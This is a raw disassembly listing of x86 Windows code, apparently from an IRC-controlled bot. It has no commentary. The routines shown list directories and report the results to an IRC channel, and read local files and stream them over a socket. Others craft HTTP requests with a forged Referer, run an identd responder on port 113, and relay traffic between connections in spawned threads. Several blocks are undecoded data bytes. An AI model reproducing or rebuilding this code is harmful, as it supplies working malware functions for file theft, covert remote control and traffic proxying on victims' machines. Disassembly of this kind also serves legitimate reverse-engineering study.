lea eax, [ebp+var_24C]
push ebx
push eax
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp+var_24C]
push eax
push [ebp+arg_4]
call ds:dword_4441A0 ; send
cmp [ebp+arg_8], ebx
jz short loc_412707
push 7D0h
call ds:dword_42B014 ; Sleep
loc_412707: ; CODE XREF: sub_412135+225j
; sub_412135+240j ...
lea eax, [ebp+var_38C]
push eax
push [ebp+var_C]
call ds:dword_42B0B0 ; FindNextFileA
test eax, eax
jnz loc_412354
loc_41271F: ; CODE XREF: sub_412135+214j
push [ebp+var_C]
call ds:dword_42B0A4 ; FindClose
cmp [ebp+arg_8], ebx
jz short loc_412762
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_419443
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_419443
pop ecx
pop ecx
push eax
push [ebp+arg_8]
lea eax, [ebp+var_24C]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_41E6A6
add esp, 14h
jmp short loc_412790
; ---------------------------------------------------------------------------
loc_412762: ; CODE XREF: sub_412135+5F6j
cmp [ebp+arg_C], ebx
lea eax, [ebp+var_24C]
jz short loc_41277C
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_41E6A6
pop ecx
pop ecx
jmp short loc_412790
; ---------------------------------------------------------------------------
loc_41277C: ; CODE XREF: sub_412135+636j
push [ebp+var_8]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_41E6A6
add esp, 10h
loc_412790: ; CODE XREF: sub_412135+62Bj
; sub_412135+645j
lea eax, [ebp+var_24C]
push ebx
push eax
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp+var_24C]
push eax
push [ebp+arg_4]
call ds:dword_4441A0 ; send
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_412135 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 408h
push ebx
push esi
push edi
xor esi, esi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push dword ptr [ebp+0Ch]
mov edi, 400h
mov [ebp-8], esi
call ds:dword_42B08C ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_41286E
push esi
push ebx
call ds:dword_42B0BC ; GetFileSize
cmp eax, esi
mov [ebp-4], eax
jz short loc_412867
loc_4127FB: ; CODE XREF: seg000:00412865j
push 400h
lea eax, [ebp-408h]
push esi
push eax
call sub_41E5F0
add esp, 0Ch
cmp edi, [ebp-4]
jbe short loc_412818
mov edi, [ebp-4]
loc_412818: ; CODE XREF: seg000:00412813j
mov eax, [ebp-4]
push 2
push esi
neg eax
push eax
push ebx
call ds:dword_42B0B8 ; SetFilePointer
push esi
lea eax, [ebp-8]
push eax
push edi
lea eax, [ebp-408h]
push eax
push ebx
call ds:dword_42B080 ; ReadFile
push esi
push edi
lea eax, [ebp-408h]
push eax
push dword ptr [ebp+8]
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_412862
call ds:dword_4441C4 ; WSAGetLastError
cmp eax, 2733h
jnz short loc_412867
xor eax, eax
loc_412862: ; CODE XREF: seg000:00412851j
sub [ebp-4], eax
jnz short loc_4127FB
loc_412867: ; CODE XREF: seg000:004127F9j
; seg000:0041285Ej
push ebx
call ds:dword_42B004 ; CloseHandle
loc_41286E: ; CODE XREF: seg000:004127E6j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_412873 proc near ; CODE XREF: seg000:00412CA5p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push edi
xor esi, esi
call sub_41E1C0
test eax, eax
pop ecx
jbe short loc_41289C
loc_412886: ; CODE XREF: sub_412873+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_412890
mov byte ptr [esi+edi], 2Fh
loc_412890: ; CODE XREF: sub_412873+17j
push edi
inc esi
call sub_41E1C0
cmp esi, eax
pop ecx
jb short loc_412886
loc_41289C: ; CODE XREF: sub_412873+11j
mov eax, edi
pop edi
pop esi
retn
sub_412873 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4128A1 proc near ; CODE XREF: sub_40274D+4FE6p
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
push edi
lea eax, [ebp+var_4A0]
push eax
push 101h
call ds:dword_444110 ; WSAStartup
push 6
push 1
push 2
call ds:dword_444100 ; socket
push 10h
mov ebx, eax
xor edi, edi
lea eax, [ebp+var_10]
push edi
push eax
call sub_41E5F0
add esp, 0Ch
push [ebp+arg_14]
mov [ebp+var_10], 2
call ds:dword_444260 ; htons
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_4022BD
pop ecx
mov [ebp+var_C], eax
push 10h
lea eax, [ebp+var_10]
push eax
push ebx
call ds:dword_4440AC ; connect
cmp eax, 0FFFFFFFFh
jz short loc_41297E
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_41291A
mov eax, offset byte_42B633
loc_41291A: ; CODE XREF: sub_4128A1+72j
push esi
push [ebp+arg_10]
mov esi, 100h
push eax
push [ebp+arg_1C]
lea eax, [ebp+var_110]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_41E6FE
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call ds:dword_4441A0 ; send
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_41F400
add esp, 0Ch
push edi
push esi
lea eax, [ebp+var_110]
push eax
push ebx
call ds:dword_444064 ; recv
pop esi
loc_41297E: ; CODE XREF: sub_4128A1+6Bj
push ebx
call ds:dword_444218 ; closesocket
call ds:dword_444224 ; WSACleanup
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_41E6A6
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_4129BE
push edi
push [ebp+arg_8]
lea eax, [ebp+var_310]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40123B
add esp, 14h
loc_4129BE: ; CODE XREF: sub_4128A1+102j
pop edi
pop ebx
leave
retn
sub_4128A1 endp
; ---------------------------------------------------------------------------
word_4129C2 dw 0B855h ; DATA XREF: seg000:00412D6Fo
dd 1654h, 8C246C8Dh, 0C04FE8h, 7C458B00h, 0F08B5756h, 0ECB9h
dd 28BD8D00h, 0F3FFFFFCh, 0AC80C7A5h, 1000003h, 8D000000h
dd 0FFFCAC85h, 858D50FFh, 0FFFFFB24h, 0BCA4E850h, 858D0000h
dd 0FFFFFDB0h, 20858D50h, 50FFFFFAh, 0BC91E8h, 83FF3300h
dd 7D3910C4h, 0D8458DD0h, 40680774h, 0EB004348h, 48246805h
dd 0E8500043h, 0BC72h, 466A5959h, 500C458Dh, 43481068h
dd 0BE575700h, 409h, 0C415FF56h, 6A0042B0h, 54458D1Eh
dd 48046850h, 57570043h, 0C015FF56h, 830042B0h, 8DFFBC7Dh
dd 8D505445h, 8D500C45h, 8D505445h, 8D500C45h, 8D505445h
dd 8D500C45h, 1775D845h, 20858D50h, 68FFFFEAh, 434728h
dd 0BC10E850h, 0C4830000h, 0FF18EB24h, 8D50BC75h, 0FFEA2085h
dd 463868FFh, 0E8500043h, 0BBF6h, 8D28C483h, 0FFEA2085h
dd 0E85057FFh, 0B700h, 858D5059h, 0FFFFEA20h, 28B5FF50h
dd 0FFFFFFFCh, 4441A015h, 0D07D3900h, 858D1675h, 0FFFFFB24h
dd 28B5FF50h, 0E8FFFFFCh, 0FFFFFCCAh, 1DEB5959h, 0FA20858Dh
dd 5750FFFFh, 0FC28B5FFh, 858DFFFFh, 0FFFFFB24h, 0F62BE850h
dd 0C483FFFFh, 28B5FF10h, 0FFFFFFFCh, 44421815h, 0C075FF00h
dd 0FF8628E8h, 0FF5759FFh, 42B06815h
db 0, 0CCh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp-210h]
push edi
push eax
mov [ebp-4], edi
call sub_41E5F0
mov eax, [ebp+10h]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
push eax
jz short loc_412B60
push offset aS_9 ; "\\%s"
jmp short loc_412B68
; ---------------------------------------------------------------------------
loc_412B60: ; CODE XREF: seg000:00412B57j
mov byte ptr [eax], 5Ch
push offset aS ; "%s"
loc_412B68: ; CODE XREF: seg000:00412B5Ej
lea eax, [ebp-10Ch]
push eax
call sub_41E6A6
lea eax, [ebp-10Ch]
add esp, 0Ch
push eax
xor esi, esi
xor ebx, ebx
call sub_41E1C0
test eax, eax
pop ecx
jbe short loc_412C03
mov dword ptr [ebp+10h], 2
loc_412B93: ; CODE XREF: seg000:00412C01j
lea eax, [ebp-10Ch]
push eax
call sub_41E1C0
cmp [ebp+10h], eax
pop ecx
jnb short loc_412BD3
cmp byte ptr [ebp+esi-10Ch], 25h
jnz short loc_412BD3
cmp byte ptr [ebp+esi-10Bh], 32h
jnz short loc_412BD3
cmp byte ptr [ebp+esi-10Ah], 30h
jnz short loc_412BD3
inc esi
inc esi
add dword ptr [ebp+10h], 2
mov byte ptr [ebp+ebx-210h], 20h
jmp short loc_412BED
; ---------------------------------------------------------------------------
loc_412BD3: ; CODE XREF: seg000:00412BA3j
; seg000:00412BADj ...
mov al, [ebp+esi-10Ch]
cmp al, 2Fh
jnz short loc_412BE3
push 5Ch
pop eax
jmp short loc_412BE6
; ---------------------------------------------------------------------------
loc_412BE3: ; CODE XREF: seg000:00412BDCj
movsx eax, al
loc_412BE6: ; CODE XREF: seg000:00412BE1j
mov [ebp+ebx-210h], al
loc_412BED: ; CODE XREF: seg000:00412BD1j
lea eax, [ebp-10Ch]
inc esi
inc dword ptr [ebp+10h]
push eax
inc ebx
call sub_41E1C0
cmp esi, eax
pop ecx
jb short loc_412B93
loc_412C03: ; CODE XREF: seg000:00412B8Aj
lea eax, [ebp-210h]
push eax
push dword ptr [ebp+0Ch]
lea eax, [ebp-314h]
push offset aSS ; "%s%s"
push eax
call sub_41E6A6
lea eax, [ebp-314h]
push offset asc_42CC64 ; "\n"
push eax
call sub_41E7B2
add esp, 18h
lea eax, [ebp-314h]
push eax
call ds:dword_42B050 ; GetFileAttributesA
xor esi, esi
inc esi
cmp eax, 10h
jz short loc_412C51
cmp eax, 0FFFFFFFFh
jnz short loc_412C54
push dword ptr [ebp+8]
jmp short loc_412CD0
; ---------------------------------------------------------------------------
loc_412C51: ; CODE XREF: seg000:00412C45j
mov [ebp-4], esi
loc_412C54: ; CODE XREF: seg000:00412C4Aj
cmp byte ptr [ebp+ebx-211h], 5Ch
jnz short loc_412C61
mov [ebp-4], esi
loc_412C61: ; CODE XREF: seg000:00412C5Cj
cmp [ebp-4], edi
mov ebx, [ebp+8]
mov [ebp-6C4h], ebx
mov [ebp-318h], edi
jz short loc_412CDB
cmp [ebp+14h], edi
jz short loc_412CCF
lea eax, [ebp-314h]
push offset asc_4348B8 ; "*"
push eax
call sub_41EED0
lea eax, [ebp-314h]
push eax
lea eax, [ebp-640h]
push eax
call sub_41E6A6
lea eax, [ebp-210h]
push eax
call sub_412873
lea eax, [ebp-210h]
push eax
lea eax, [ebp-53Ch]
push eax
call sub_41E6A6
add esp, 1Ch
or dword ptr [ebp-330h], 0FFFFFFFFh
mov [ebp-31Ch], esi
jmp short loc_412D2A
; ---------------------------------------------------------------------------
loc_412CCF: ; CODE XREF: seg000:00412C78j
push ebx
loc_412CD0: ; CODE XREF: seg000:00412C4Fj
call ds:dword_444218 ; closesocket
jmp loc_412DC0
; ---------------------------------------------------------------------------
loc_412CDB: ; CODE XREF: seg000:00412C73j
push edi
push edi
push 3
push edi
push esi
push 80000000h
lea eax, [ebp-314h]
push eax
call ds:dword_42B08C ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_412D2A
lea eax, [ebp-314h]
push eax
lea eax, [ebp-640h]
push eax
call sub_41E6A6
pop ecx
pop ecx
push edi
push esi
mov [ebp-31Ch], edi
call ds:dword_42B0BC ; GetFileSize
push esi
mov [ebp-330h], eax
call ds:dword_42B004 ; CloseHandle
loc_412D2A: ; CODE XREF: seg000:00412CCDj
; seg000:00412CF8j
mov esi, [ebp+18h]
push esi
lea eax, [ebp-8C4h]
push offset unk_434884
push eax
call sub_41E6A6
push edi
lea eax, [ebp-8C4h]
push 3
push eax
call sub_40AE85
mov [ebp-32Ch], eax
imul eax, 234h
add esp, 18h
mov ds:dword_4444EC[eax], esi
lea eax, [ebp-8]
push eax
push edi
lea eax, [ebp-6C4h]
push eax
push offset word_4129C2
push edi
push edi
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp-32Ch]
imul ecx, 234h
cmp eax, edi
mov ds:dword_4444FC[ecx], eax
jnz short loc_412DCF
push ebx
call ds:dword_444218 ; closesocket
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
lea eax, [ebp-8C4h]
push offset unk_43484C
push eax
call sub_41E6A6
lea eax, [ebp-8C4h]
push eax
call sub_417D70
add esp, 10h
loc_412DC0: ; CODE XREF: seg000:00412CD6j
; seg000:00412DD7j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_412DC7: ; CODE XREF: seg000:00412DD5j
push 5
call ds:dword_42B014 ; Sleep
loc_412DCF: ; CODE XREF: seg000:00412D90j
cmp [ebp-318h], edi
jz short loc_412DC7
jmp short loc_412DC0
; ---------------------------------------------------------------------------
byte_412DD9 db 55h, 0B8h, 0F0h ; DATA XREF: sub_40274D+2073o
; seg000:0040BAFCo
dd 8D000028h, 0E88C246Ch, 0BC38h, 537C458Bh, 0F08B5756h
dd 0ECB9h, 84BD8D00h, 0F3FFFFF9h, 46F633A5h, 0B089106Ah
dd 3ACh, 458DDB33h, 89505350h, 0D9E86475h, 830000B7h, 0B5FF0CC4h
dd 0FFFFFD14h, 5045C766h, 15FF0002h, 444260h, 26A5653h
dd 52458966h, 0FF545D89h, 44410015h, 83F88B00h, 7D89FFFFh
dd 64840F6Ch, 8B000003h, 0FFFD1C85h, 34C069FFh, 89000002h
dd 4444F4B8h, 8D106A00h, 57505045h, 41E415FFh, 0F8830044h
dd 3C840FFFh, 68000003h, 7FFFFFFFh, 3015FF57h, 83004442h
dd 840FFFF8h, 327h, 5064458Dh, 4667E68h, 15FF5780h, 444094h
dd 0FFFF883h, 30E84h, 59416A00h, 858D5353h, 0FFFFFE38h
dd 0BD895053h, 0FFFFFF50h, 0FF4CB589h, 7D89FFFFh, 40C78B68h
dd 0FF4CB58Dh, 0BD8DFFFFh, 0FFFFFE38h, 0FFA5F350h, 4441B015h
dd 0FFF88300h, 2CE840Fh, 0F6330000h, 8D7C7589h, 0FFFE3885h
dd 0FF5650FFh, 44415C15h, 0FC08500h, 28E84h, 6C753B00h
dd 458D6575h, 858D5060h, 0FFFFFF3Ch, 6C75FF50h, 106045C7h
dd 0FF000000h, 4440BC15h, 0FFF88300h, 265840Fh, 958B0000h
dd 0FFFFFF4Ch, 0D33BC933h, 84390E76h, 0FFFF508Dh, 410574FFh
dd 0F272CA3Bh, 1275CA3Bh, 7340FA83h, 8D84890Dh, 0FFFFFF50h
db 0FFh, 85h
word_412F4E dw 0FF4Ch ; DATA XREF: seg001:off_4392ACo
dd 453BFFFFh, 2C860F68h, 89000002h, 24E96845h, 0BF000002h
dd 1000h, 84858D57h, 53FFFFD7h, 0B67AE850h, 8D570000h
dd 0FFE78485h, 0E85053FFh, 0B66Ch, 5318C483h, 84858D57h
dd 50FFFFD7h, 6415FF56h, 85004440h, 56517FC0h, 421815FFh
dd 0C0330044h, 0FF4C9D39h, 860FFFFFh, 1D7h, 5085B439h
dd 74FFFFFFh, 853B401Dh, 0FFFFFF4Ch, 0C0E9EE72h, 8B000001h
dd 0FF54858Ch, 8C89FFFFh, 0FFFF5085h, 8D8B40FFh, 0FFFFFF4Ch
dd 72C13B49h, 4C8DFFE6h, 0E9FFFFFFh, 19Bh, 10468h, 34858D00h
dd 53FFFFFDh, 0B5F2E850h, 858D0000h, 0FFFFD784h, 705D8950h
dd 0B1E8F633h, 830000B1h, 0C08510C4h, 16D860Fh, 458B0000h
dd 5848A70h, 0FFFFD784h, 84880A3Ch, 0FFE78435h, 8B850FFFh
dd 0BE000000h, 4348ECh, 0E784858Dh, 5056FFFFh, 0C04BE8h
dd 59C08500h, 8D487459h, 0FFE78485h, 69E850FFh, 830000B1h
dd 765905F8h, 0FCE0B836h, 50500042h, 0E784858Dh, 5056FFFFh
dd 0C01FE8h, 50595900h, 0C017E8h, 50595900h, 0B731E8h
dd 858D5000h, 0FFFFFD34h, 0BE32E850h, 0C4830000h, 8D17EB10h
dd 0FFE78485h, 48E868FFh, 0E8500043h, 0B8ECh, 5959C085h
dd 8D573374h, 0FFE78485h, 0E85053FFh, 0B538h, 830CC483h
dd 45FFFFCEh, 84858D70h, 50FFFFD7h, 0B0F2E846h, 45390000h
dd 820F5970h, 0FFFFFF42h, 0AAE9h, 4C8D8B00h, 33FFFFFFh
dd 76CB3BC0h, 85948B33h, 0FFFFFF50h, 747C553Bh, 0C13B401Ch
dd 20EBEF72h, 54858C8Bh, 89FFFFFFh, 0FF50858Ch, 8D8BFFFFh
dd 0FFFFFF4Ch, 0C13B4940h, 8DFFE672h, 0FFFFFF4Ch, 0FC10858Dh
dd 0E850FFFFh, 0B098h, 858DF08Bh, 0FFFFFD34h, 0B08AE850h
dd 0F0030000h, 104FE81h, 59590000h, 458D3C73h, 7E685070h
dd 0FF800466h, 5D897C75h, 9415FF70h, 0FF004440h, 0FFFD1CB5h
dd 34858DFFh, 0FFFFFFFDh, 0FFFD28B5h, 858D50FFh, 0FFFFFC10h
dd 7C75FF50h, 0FFF9B1E8h, 14C483FFh, 75FF09EBh, 1815FF7Ch
dd 8B004442h, 3B467C75h, 75896875h, 4C860F7Ch, 6AFFFFFDh
dd 53535941h, 0FE38858Dh, 5053FFFFh, 0E968458Bh, 0FFFFFD13h
dd 0FF6C7D8Bh, 4441C415h, 858D5000h, 0FFFFF784h, 4348C068h
dd 0DFE85000h, 830000B4h, 9D390CC4h, 0FFFFFD24h, 0FF532375h
dd 0FFFD20B5h, 84858DFFh, 50FFFFF7h, 0F988858Dh, 0FF50FFFFh
dd 0FFF984B5h, 0E049E8FFh, 0C483FFFEh, 84858D14h, 50FFFFF7h
dd 4B6FE8h, 0FF575900h, 44421815h, 1CB5FF00h, 0E8FFFFFDh
dd 0FFFF7F35h, 15FF5359h, 42B068h
db 0CCh
; ---------------------------------------------------------------------------
loc_41321D: ; DATA XREF: sub_40274D+406Co
; sub_40A263+42Co
push ebp
mov ebp, esp
sub esp, 238h
push ebx
push esi
push edi
push 10h
pop edi
xor esi, esi
push edi
lea eax, [ebp-1Ch]
push esi
push eax
mov [ebp-8], esi
call sub_41E5F0
add esp, 0Ch
push 71h
mov word ptr [ebp-1Ch], 2
call ds:dword_444260 ; htons
push esi
push 1
push 2
mov [ebp-1Ah], ax
mov [ebp-18h], esi
call ds:dword_444100 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_413390
mov eax, [ebp+8]
imul eax, 234h
mov ds:dword_4444F4[eax], ebx
push edi
lea eax, [ebp-1Ch]
push eax
push ebx
call ds:dword_4441E4 ; bind
cmp eax, 0FFFFFFFFh
jz loc_413390
push 5
push ebx
call ds:dword_444230 ; listen
cmp eax, 0FFFFFFFFh
jz loc_413390
lea eax, [ebp-0Ch]
push eax
lea eax, [ebp-2Ch]
push eax
push ebx
mov [ebp-0Ch], edi
call ds:dword_4440BC ; accept
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jz loc_413390
mov edi, 200h
loc_4132C3: ; CODE XREF: seg000:00413385j
movzx eax, word ptr [ebp-2Ah]
push eax
push dword ptr [ebp-28h]
call ds:dword_444188 ; inet_ntoa
push eax
lea eax, [ebp-238h]
push offset dword_434938
push eax
call sub_41E6A6
lea eax, [ebp-238h]
push eax
call sub_417D70
add esp, 14h
push esi
push edi
lea eax, [ebp-238h]
push eax
push dword ptr [ebp-4]
call ds:dword_444064 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_413370
lea eax, [ebp-238h]
push esi
push eax
call sub_41AC0E
push 0Ch
lea eax, [ebp-38h]
push esi
push eax
call sub_41E5F0
push esi
push esi
lea eax, [ebp-38h]
push 2
push eax
call sub_40AB83
push eax
push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n"
lea eax, [ebp-238h]
push edi
push eax
call sub_41E6FE
add esp, 34h
lea eax, [ebp-238h]
push esi
push eax
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp-238h]
push eax
push dword ptr [ebp-4]
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_413370
mov dword ptr [ebp-8], 1
loc_413370: ; CODE XREF: seg000:00413307j
; seg000:00413367j
lea eax, [ebp-0Ch]
push eax
lea eax, [ebp-2Ch]
push eax
push ebx
call ds:dword_4440BC ; accept
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jnz loc_4132C3
cmp [ebp-8], esi
jnz short loc_4133B7
loc_413390: ; CODE XREF: seg000:00413264j
; seg000:00413288j ...
call ds:dword_4441C4 ; WSAGetLastError
push eax
lea eax, [ebp-238h]
push offset dword_4348F4
push eax
call sub_41E6A6
lea eax, [ebp-238h]
push eax
call sub_417D70
add esp, 10h
loc_4133B7: ; CODE XREF: seg000:0041338Ej
push ebx
call ds:dword_444218 ; closesocket
push dword ptr [ebp-4]
call ds:dword_444218 ; closesocket
push dword ptr [ebp+8]
call sub_40B149
pop ecx
push esi
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
loc_4133D8: ; DATA XREF: seg000:004135B5o
push ebp
mov ebp, esp
mov eax, 1128h
call sub_41EA20
mov eax, [ebp+8]
push ebx
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-128h]
rep movsd
mov edi, 1000h
push edi
mov dword ptr [eax+124h], 1
xor ebx, ebx
lea eax, [ebp-1128h]
push ebx
push eax
call sub_41E5F0
mov esi, [ebp-14h]
imul esi, 234h
jmp short loc_41344A
; ---------------------------------------------------------------------------
loc_413422: ; CODE XREF: seg000:00413464j
push ebx
push eax
lea eax, [ebp-1128h]
push eax
push ds:dword_4444F4[esi]
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_413466
push edi
lea eax, [ebp-1128h]
push ebx
push eax
call sub_41E5F0
loc_41344A: ; CODE XREF: seg000:00413420j
add esp, 0Ch
push ebx
push edi
lea eax, [ebp-1128h]
push eax
push ds:dword_4444F8[esi]
call ds:dword_444064 ; recv
cmp eax, ebx
jg short loc_413422
loc_413466: ; CODE XREF: seg000:0041343Aj
push ds:dword_4444F8[esi]
call ds:dword_444218 ; closesocket
push dword ptr [ebp-14h]
call sub_40B149
pop ecx
push ebx
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
push ebp
mov eax, 1344h
lea ebp, [esp-74h]
call sub_41EA20
mov eax, [ebp+7Ch]
push ebx
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-0D0h]
rep movsd
mov edi, [ebp+44h]
xor ecx, ecx
inc ecx
push 6
push ecx
push 2
mov [eax+120h], ecx
mov [ebp+70h], edi
call ds:dword_444100 ; socket
mov esi, eax
xor ebx, ebx
cmp esi, 0FFFFFFFFh
mov [ebp+7Ch], esi
jz loc_4135E8
push 10h
lea eax, [ebp+5Ch]
push ebx
push eax
call sub_41E5F0
add esp, 0Ch
push dword ptr [ebp+38h]
mov word ptr [ebp+5Ch], 2
call ds:dword_444260 ; htons
mov [ebp+5Eh], ax
lea eax, [ebp-0C8h]
push eax
call ds:dword_44417C ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+6Ch], eax
jnz short loc_413515
lea eax, [ebp-0C8h]
push eax
call ds:dword_444168 ; gethostbyname
jmp short loc_413523
; ---------------------------------------------------------------------------
loc_413515: ; CODE XREF: seg000:00413504j
push 2
push 4
lea eax, [ebp+6Ch]
push eax
call ds:dword_4441FC ; gethostbyaddr
loc_413523: ; CODE XREF: seg000:00413513j
cmp eax, ebx
jz loc_4135E8
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+60h], eax
push 10h
lea eax, [ebp+5Ch]
push eax
push esi
call ds:dword_4440AC ; connect
cmp eax, 0FFFFFFFFh
jz loc_4135E8
push dword ptr [ebp+40h]
movzx eax, word ptr [ebp+5Eh]
push eax
push dword ptr [ebp+60h]
mov [ebp+54h], ebx
call ds:dword_444188 ; inet_ntoa
push eax
lea eax, [ebp-2D0h]
push offset unk_4349A8
push eax
call sub_41E6A6
push esi
lea eax, [ebp-2D0h]
push 18h
push eax
call sub_40AE85
imul edi, 234h
mov ecx, [ebp+40h]
mov [ebp+44h], eax
imul eax, 234h
mov ds:dword_4444EC[eax], ecx
add esp, 20h
lea edi, dword_4444F4[edi]
mov ecx, [edi]
mov ds:dword_4444F8[eax], ecx
lea eax, [ebp+58h]
push eax
push ebx
lea eax, [ebp-0D0h]
push eax
push offset loc_4133D8
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+44h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_41361E
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_434968
call sub_417DE4
pop ecx
pop ecx
loc_4135E8: ; CODE XREF: seg000:004134C9j
; seg000:00413525j ...
mov eax, [ebp+70h]
imul eax, 234h
push ds:dword_4444F4[eax]
call ds:dword_444218 ; closesocket
push dword ptr [ebp+7Ch]
call ds:dword_444218 ; closesocket
push dword ptr [ebp+70h]
call sub_40B149
pop ecx
push ebx
call ds:dword_42B068 ; ExitThread
loc_413616: ; CODE XREF: seg000:00413621j
push 32h
call ds:dword_42B014 ; Sleep
loc_41361E: ; CODE XREF: seg000:004135D3j
cmp [ebp+54h], ebx
jz short loc_413616
mov esi, 1000h
jmp short loc_413641
; ---------------------------------------------------------------------------
loc_41362A: ; CODE XREF: seg000:00413665j
push ebx
push eax
lea eax, [ebp-12D0h]
push eax
push dword ptr [ebp+7Ch]
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_4135E8
loc_413641: ; CODE XREF: seg000:00413628j
push esi
lea eax, [ebp-12D0h]
push ebx
push eax
call sub_41E5F0
add esp, 0Ch
push ebx
push esi
lea eax, [ebp-12D0h]
push eax
push dword ptr [edi]
call ds:dword_444064 ; recv
cmp eax, ebx
jg short loc_41362A
jmp loc_4135E8
; ---------------------------------------------------------------------------
dword_41366C dd 246C8D55h, 50EC818Ch, 8B000003h, 57567C45h, 8B594A6Ah
; DATA XREF: sub_40274D+5E41o
dd 8D106AF0h, 0FFFF24BDh, 5FA5F3FFh, 2080C757h, 1000001h
dd 33000000h, 60458DF6h, 4DE85056h, 830000AFh, 75FF0CC4h
dd 45C76630h, 0FF000260h, 44426015h, 6A066A00h, 66026A01h
dd 89624589h, 7D896475h, 15FF70h, 83004441h, 4589FFF8h
dd 2840F7Ch, 8B000001h, 0C969344Dh, 234h, 168016Ah, 56000004h
dd 0F4818950h, 0FF004444h, 44419415h, 458D5700h, 75FF5060h
dd 0E415FF7Ch, 85004441h, 0CE850FC0h, 6A000000h, 7C75FF0Ah
dd 423015FFh, 0C0850044h, 0BB850Fh, 458D0000h, 458D5070h
dd 75FF504Ch, 0BC15FF7Ch, 8B004440h, 0FFFF83F8h, 75FFE874h
dd 45B70F34h, 75FF504Eh, 28BD8950h, 89FFFFFFh, 15FF4475h
dd 444188h, 24858D50h, 68FFFFFDh, 434A28h, 0AF44E850h
dd 8D570000h, 0FFFD2485h, 50186AFFh, 0FF7714E8h, 344D8BFFh
dd 69384589h, 234C0h, 20C48300h, 44EC8889h, 458D0044h
dd 8D56505Ch, 0FFFF2485h, 836850FFh, 56004134h, 3C15FF56h
dd 8B0042B0h, 0C969384Dh, 234h, 8189C63Bh, 4444FCh, 15FF1D75h
dd 42B01Ch, 49EC6850h, 21E80043h, 59000046h, 6A15EB59h
dd 1415FF32h, 390042B0h, 0F3744475h, 0FFFF45E9h, 7C7D8BFFh
dd 1815FF57h, 0FF004442h, 15FF7C75h, 444218h, 0E83475FFh
dd 0FFFF7955h, 15FF5659h, 42B068h
db 0CCh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
mov esi, eax
loc_413804: ; CODE XREF: seg000:00413827j
push 0
push 1
lea eax, [ebp-1]
push eax
push dword ptr [ebp+8]
call ds:dword_444064 ; recv
cmp eax, 1
jnz short loc_41383A
mov al, [ebp-1]
mov [esi], al
inc esi
dec dword ptr [ebp+0Ch]
jz short loc_41382F
test al, al
jnz short loc_413804
xor eax, eax
inc eax
loc_41382C: ; CODE XREF: seg000:0041383Cj
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_41382F: ; CODE XREF: seg000:00413823j
push offset dword_434A70
call sub_417DE4
